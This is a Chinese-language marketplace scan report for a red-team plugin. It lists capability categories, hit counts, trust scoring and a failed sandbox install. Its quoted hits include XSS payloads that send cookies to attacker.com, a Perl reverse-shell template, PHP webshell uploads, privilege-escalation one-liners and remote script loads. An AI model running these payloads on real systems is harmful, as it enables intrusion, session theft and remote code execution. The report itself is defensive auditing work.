模型与账号 · v1.1.1
dsh-redteam-model
DSH redteam security research modes and runtime plugins, managed from one settings page: deploy the nine presets, install, update and uninstall the seventeen runtime plugins for the current profile.
该插件尚未翻译,显示作者原文。
安装命令
dsh plugin --profile web add git+https://github.com/seaof0/dsh-redteam-model
实测:这条命令在隔离环境里没装上(安装失败)。安装前先看这个仓库的构建要求。
检测报告
能力清单
- 以提权方式执行
privilege-escalation高关注57 处命中…i_mcp/core/deep_attack_engine.py:165"sudo find . -exec /bin/sh \\; -quit",…i_mcp/core/deep_attack_engine.py:225"/usr/bin/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'",…fs/defense/ir-forensics-linux.md:173ausearch -f /etc/passwd -f /etc/shadow -f /etc/sudoers -ts today…fs/defense/ir-forensics-linux.md:359-w /etc/sudoers -p wa -k privilege- 确认提权是插件功能本身需要,还是仅仅在探测环境。多数插件不需要 root。
- 可执行外部程序
spawns-processes高关注56 处命中deploy/check-sources.mjs:28import { spawn } from "node:child_process";deploy/deploy.mjs:22import { spawnSync, spawn } from "node:child_process";lib/index.js:46import { spawn } from "node:child_process";…/offensive/evasion-techniques.md:342echo "require('child_process').exec('id > /tmp/pwned')" >> /tmp/app_extracted/src/main.js- 看它调用哪些程序。调用本机已有的工具是常见做法。
- 以 shell 执行命令
shell-exec高关注41 处命中…/core/enhanced_knowledge_base.py:409{"payload": "{{constructor.constructor('return this.process.mainModule.require(\"child_process\").execSync(\"id\")')()}}…deploy/deploy.mjs:63? spawnSync(cmd.join(" "), args, { shell: true, stdio: "inherit", ...opts })deploy/deploy.mjs:249? spawn("npx -y @deepseek-ai/dsh web", { shell: true, detached: true, stdio: ["ignore", out, out] })…fs/lang/code-audit-javascript.md:143grep -rn 'exec(\|execSync(\|spawn(.*shell:\s*true\|eval(\|new Function(' --include='*.js' --include='*.ts' . | grep -v '…- 看命令字符串是拼出来的还是写死的。拼接用户输入才是真正的风险。
- 访问原生绑定
native-access高关注24 处命中…/core/enhanced_knowledge_base.py:224{"payload": "{{constructor.constructor('alert(1)')()}}", "desc": "Angular模板", "context": "angular"},…/core/enhanced_knowledge_base.py:409{"payload": "{{constructor.constructor('return this.process.mainModule.require(\"child_process\").execSync(\"id\")')()}}……ang/javascript-sink-reference.md:106- `vm.runInContext/runInNewContext(`(沙箱逃逸——`this.constructor.constructor` 链已知)…lver/refs/ctf-web/client-side.md:383{{constructor.constructor('return window.location="http://attacker.com/"+document.cookie')()}}- 访问原生绑定或走 constructor 链,等于绕开 JS 层的一切限制。确认这是插件的核心机制,而不是顺手拿到的便利。
- 向其他插件注入
plugin-tree-injection高关注7 处命中- @dsh-external/dsh-redteam-model, @dsh-external/dsh-scanner-tools, @dsh-external/dsh-semgrep-audit
- 看 patch 里 insert 的包是不是本项目自己的。插入第三方代码要格外留意。
- 从远程加载可执行代码
remote-code-load高关注3 处命中…/prototype-pollution-advanced.md:151Object.prototype.src = 'https://attacker.com/evil.js';…eb/web-csrf-cors-clickjacking.md:333s.src = 'https://attacker.com/evil.js';…st/refs/web/web-injection-xss.md:667var blob = new Blob(['importScripts("https://evil.com/evil.js")'], {type: 'text/javascript'});- 看这些 URL 指向谁、内容是否会变。远程加载等于把执行权交给外部。
- 写入文件
writes-files需留意465 处命中…p-server/kali_mcp/ai/learning.py:72self.data_dir.mkdir(parents=True, exist_ok=True)…p-server/kali_mcp/ai/learning.py:408history_file.unlink()…/kali_mcp/core/browser_engine.py:647self._storage_dir.mkdir(parents=True, exist_ok=True)…/kali_mcp/core/browser_engine.py:1203Path(self._storage_dir).mkdir(parents=True, exist_ok=True)- 看写入位置。写自己的配置目录是正常的,写系统目录不是。
- 动态执行代码
dynamic-code需留意371 处命中…pecialized/code_analyze_agent.py:59(r'eval\s*\(', "eval()调用"),…/specialized/code_audit_agent.py:41(r'eval\s*\(', 'eval() 调用 - 可能导致代码注入'),…/core/enhanced_knowledge_base.py:200{"payload": "<script>eval(atob('YWxlcnQoMSk='))</script>", "desc": "Base64解码", "bypass": "base64"},…/core/enhanced_knowledge_base.py:207{"payload": "<script>eval('al'+'ert(1)')</script>", "desc": "字符串拼接", "bypass": "concat"},- 看 eval / new Function 的入参来自哪里。常量字符串和用户输入是两回事。
- 发起网络请求
network需留意262 处命中…i_mcp/core/ctf_knowledge_base.py:334'<script>fetch("http://attacker.com/?c="+document.cookie)</script>',…r/kali_mcp/diggers/xss_digger.py:65"<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>",…r/kali_mcp/diggers/xss_digger.py:68"<img src=x onerror='fetch(\"http://attacker.com/?c=\"+document.cookie)'>",…r/kali_mcp/diggers/xss_digger.py:73"<script>setInterval(function(){fetch('http://attacker.com/beacon?c='+document.cookie+'&d='+document.domain)},5000)</scr…- 看请求发往哪些域名。发往作者自己的后端是常见做法。
- 含混淆或编码代码
obfuscated-code需留意177 处命中…cp/diggers/file_upload_digger.py:88"\xff\xd8\xff\xe0<?php system($_GET['cmd']); ?>",…cp/diggers/file_upload_digger.py:137"gif": "GIF89a\x01\x00\x01\x00<<?php system($_GET['cmd']); ?>",…cp/diggers/file_upload_digger.py:139"jpg": "\xff\xd8\xff\xe0<?php system($_GET['cmd']); ?>",…e/refs/ai/ai-prompt-injection.md:271invisible = len(re.findall(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]", user_input))- 混淆本身不是恶意,但公开源码里出现大段混淆值得问一句为什么。
- 启动伪终端
spawns-pty需留意160 处命中…gers/command_injection_digger.py:574f"perl -e 'use Socket;$i=\"{local_ip}\";$p={local_port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect……cp/diggers/file_upload_digger.py:57"<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>",lib/index.js:563return spawn(process.env.ComSpec ?? "cmd.exe", ["/d", "/s", "/c", `"${commandLine}"`], {…fs/offensive/lateral-movement.md:692# $excel.ExecuteExcel4Macro("EXEC(""cmd /c whoami"")")- 伪终端等于给了一个完整 shell。确认这是插件的核心功能。
- 硬编码外部上报地址
hardcoded-endpoint需留意17 处命中…s/defense/dark-web-monitoring.md:108"pastebin": "https://pastebin.com",…s/defense/dark-web-monitoring.md:109"ghostbin": "https://ghostbin.com",…s/defense/dark-web-monitoring.md:200resp = requests.get("https://pastebin.com/archive", timeout=15)…s/defense/dark-web-monitoring.md:208f"https://pastebin.com/raw/{pid}", timeout=10)- 确认这个地址属于插件作者,且不是临时或匿名托管。
- 运行时改写自身配置
modifies-own-manifest需留意6 处命中tests/manager.test.mjs:199writeFileSync(path.join(installed, 'package.json'), '{"version":"1.0.0"}\n', 'utf8')tests/manager.test.mjs:258writeFileSync(path.join(fixture.root, 'package.json'), `${JSON.stringify({ name: '@dsh-external/dsh-redteam-model', vers…tests/manager.test.mjs:288writeFileSync(path.join(fixture.root, 'package.json'), `${JSON.stringify({ name: '@dsh-external/dsh-redteam-model', vers…tests/manager.test.mjs:431writeFileSync(path.join(installed, 'package.json'), '{"version":"1.0.0"}\n', 'utf8')- 运行时改写自身配置会让下次启动的行为和你看过的源码不一致。
- 可终止进程
kills-processes需留意1 处命中…server/kali_mcp/core/executor.py:190process.kill()- 看它终止的是自己启动的进程,还是按名字匹配到的任意进程。
- 客户端可疑脚本
client-side-risk需留意1 处命中- client-side-advanced.md: innerHTML + postMessage
- 浏览器侧代码能改你看到的界面。确认改动范围符合插件用途。
- 读取文件
reads-files一般357 处命中deploy/check-sources.mjs:20for (const e of readdirSync(dir)) {deploy/check-sources.mjs:22if (statSync(p).isDirectory()) walk(p, out);deploy/check-sources.mjs:48for (const mode of readdirSync(MODES)) {deploy/check-sources.mjs:54const text = readFileSync(f, "utf8");- 读文件是绝大多数插件的正常工作方式,本身不构成顾虑。
- 接触凭据或密钥
credentials一般269 处命中…ts/exploitation/lateral_agent.py:213"password": password…ts/exploitation/lateral_agent.py:227"password": password…i_mcp/core/deep_attack_engine.py:820"credential": credential,…erver/kali_mcp/core/llm_brain.py:197self.api_key = (- 看它读取哪些凭据、发往哪里。用于登录自己的服务是正常的。
- 文中出现远程脚本地址
remote-url-reference一般180 处命中…r/kali_mcp/diggers/xss_digger.py:56"<script src='http://attacker.com/payload.js'></script>",…laybook/scripts/s3_subdomains.py:18out = curl_get(f'https://crt.sh/?q=%.{domain}&output=json', timeout=60, proxy=proxy)…s/defense/dark-web-monitoring.md:240f"https://crt.sh/?q=%.{domain}&output=json",…e/refs/defense/ioc-management.md:482f"https://crt.sh/?q=%.{domain}&output=json",- 只是文本里出现了远程脚本地址,没有看到加载它的调用。多半是文档或注释;若确实可疑,搜一下这个地址在包里的其他出现位置。
- 动态加载模块
dynamic-import一般178 处命中…-mcp-server/kali_mcp/__init__.py:12# Legacy core modules — soft import (these exist but are NOT the primary path;…-mcp-server/kali_mcp/__init__.py:35from .tools import (…-mcp-server/kali_mcp/__init__.py:51from .core import (…rver/kali_mcp/agents/__init__.py:14from kali_mcp.agents.base_agent_v2 import (- 动态导入本身无害,但会让依赖关系难以静态审阅。
- 读取环境变量
reads-env一般113 处命中deploy/deploy.mjs:31const DSH_HOME = process.env.DSH_HOME ?? path.join(os.homedir(), ".dsh");deploy/verify-deployment.mjs:18const DSH_HOME = process.env.DSH_HOME ?? path.join(os.homedir(), ".dsh");lib/index.js:135const configured = process.env.DSH_HOME?.trim();lib/index.js:563return spawn(process.env.ComSpec ?? "cmd.exe", ["/d", "/s", "/c", `"${commandLine}"`], {- 环境变量里常混有密钥。看它是否把整个 env 都读走。
- 使用 vm 模块做隔离
uses-vm-module一般4 处命中…y/vm-runincontext-injection.yaml:50require('vm');…curity/express-vm-injection.yaml:61$VM = require('vm');tests/client-manager.test.mjs:4import vm from 'node:vm'…nversation-view-clients.test.mjs:4import vm from 'node:vm'- 用 node:vm 是在建立隔离,不是在突破它。本身不是顾虑,但值得知道这个插件会执行动态代码。
逐条扫描明细
| 能力 | 标识 | 关注度 | 命中次数 |
|---|---|---|---|
| 以提权方式执行 | privilege-escalation | 高关注 | 57 |
| 可执行外部程序 | spawns-processes | 高关注 | 56 |
| 以 shell 执行命令 | shell-exec | 高关注 | 41 |
| 访问原生绑定 | native-access | 高关注 | 24 |
| 向其他插件注入 | plugin-tree-injection | 高关注 | 7 |
| 从远程加载可执行代码 | remote-code-load | 高关注 | 3 |
| 写入文件 | writes-files | 需留意 | 465 |
| 动态执行代码 | dynamic-code | 需留意 | 371 |
| 发起网络请求 | network | 需留意 | 262 |
| 含混淆或编码代码 | obfuscated-code | 需留意 | 177 |
| 启动伪终端 | spawns-pty | 需留意 | 160 |
| 硬编码外部上报地址 | hardcoded-endpoint | 需留意 | 17 |
| 运行时改写自身配置 | modifies-own-manifest | 需留意 | 6 |
| 可终止进程 | kills-processes | 需留意 | 1 |
| 客户端可疑脚本 | client-side-risk | 需留意 | 1 |
| 读取文件 | reads-files | 一般 | 357 |
| 接触凭据或密钥 | credentials | 一般 | 269 |
| 文中出现远程脚本地址 | remote-url-reference | 一般 | 180 |
| 动态加载模块 | dynamic-import | 一般 | 178 |
| 读取环境变量 | reads-env | 一般 | 113 |
| 使用 vm 模块做隔离 | uses-vm-module | 一般 | 4 |
这份报告的口径
扫描读的是包里的源码,全程不执行第三方代码。 本次读了 2627 个文件,扫描于 2026-10-22。 命中次数只说明源码里出现过这类调用,不说明行为好坏——一个插件读写文件 500 次和 1 次 都会被记为「读取文件」。这是能力清单,不是信任评分,也不是安全结论: 没扫出来的能力可能只是写法没被规则覆盖。
可信度
这个插件只在 GitHub 上发布,没有走过 npm 的分发链路。下面的梯子按 GitHub 通道的证据计算:补丁审计、钉在 commit 上的源码快照、隔离试装;L2 的「宿主启动」这一层还没有对 git 通道跑过,所以等级停在 L1。
- -20隔离环境装不上fail:gin command failed; diagnostics: C:\Users\A01\AppData\Local\Temp\dsh-l2-home-w1\profiles\l2probe\.plugin-manager\logs\operation-FfhFnu\pnpm.log dsh: git-hosted
- -10声明与实物不符:client-present-undeclaredmajor:['lib/client.js', 'lib/client.js.map', 'modes/av-evasion/lab/10-webshell-managers/client-side/NOTES.md', 'modes/binary-analysis/refs/windows
- -2没有 READMEminor
认证等级 L1
- L0静态结构与契约✓源码快照钉在 commit 85516202,补丁与入口齐备,另有 1 项声明不一致(计入健康扣分)
- L1配置组合与依赖图✓跨包无 entry id 冲突,插入模块可解析,目录内 peer 满足
- L2隔离沙箱冒烟—试装未通过(install-failed)
- L3运行时健康监控—未抽样(本层是抽样检测:没有会话不等于干净)
评分口径与作者信息
从 100 分开始按规则扣减:fail −20 / major −10 / warn −5 / minor −2;star 数、下载量、LLM 输出都不参与评分
- 维护者
- —
- 仓库
- https://github.com/seaof0/dsh-redteam-model
- 许可
- MIT
- 最后发布
- —
- 周下载
- —
- star
- —
扫描状态:已扫描。能力是事实,不是缺陷; 周下载与 star 只作参考,不参与评分。
认证等级只回答四件事:包本身是否完整可解析(L0)、能不能与别的插件组合(L1)、隔离环境里装不装得上并起得来(L2)、抽样运行时有没有异常(L3)。依赖漏洞、仓库存活、下载量都不参与评级,只作为独立信号标注。可信 ≠ 无漏洞,上架 ≠ 推荐。
| DSH peer 依赖 | 1 个dsh-settings均为 @deepseek-ai/ 下的包 |
|---|---|
| Node 要求 | >=22 |
| 第三方依赖 | 0 个(纯自包含) |
| 依赖安全公告 | 已查询全部依赖,没有匹配到已公开的安全公告(含 DSH 框架包在内的 @deepseek-ai/* 不作查询——那是运行时自己的问题,不是插件的。) |
DSH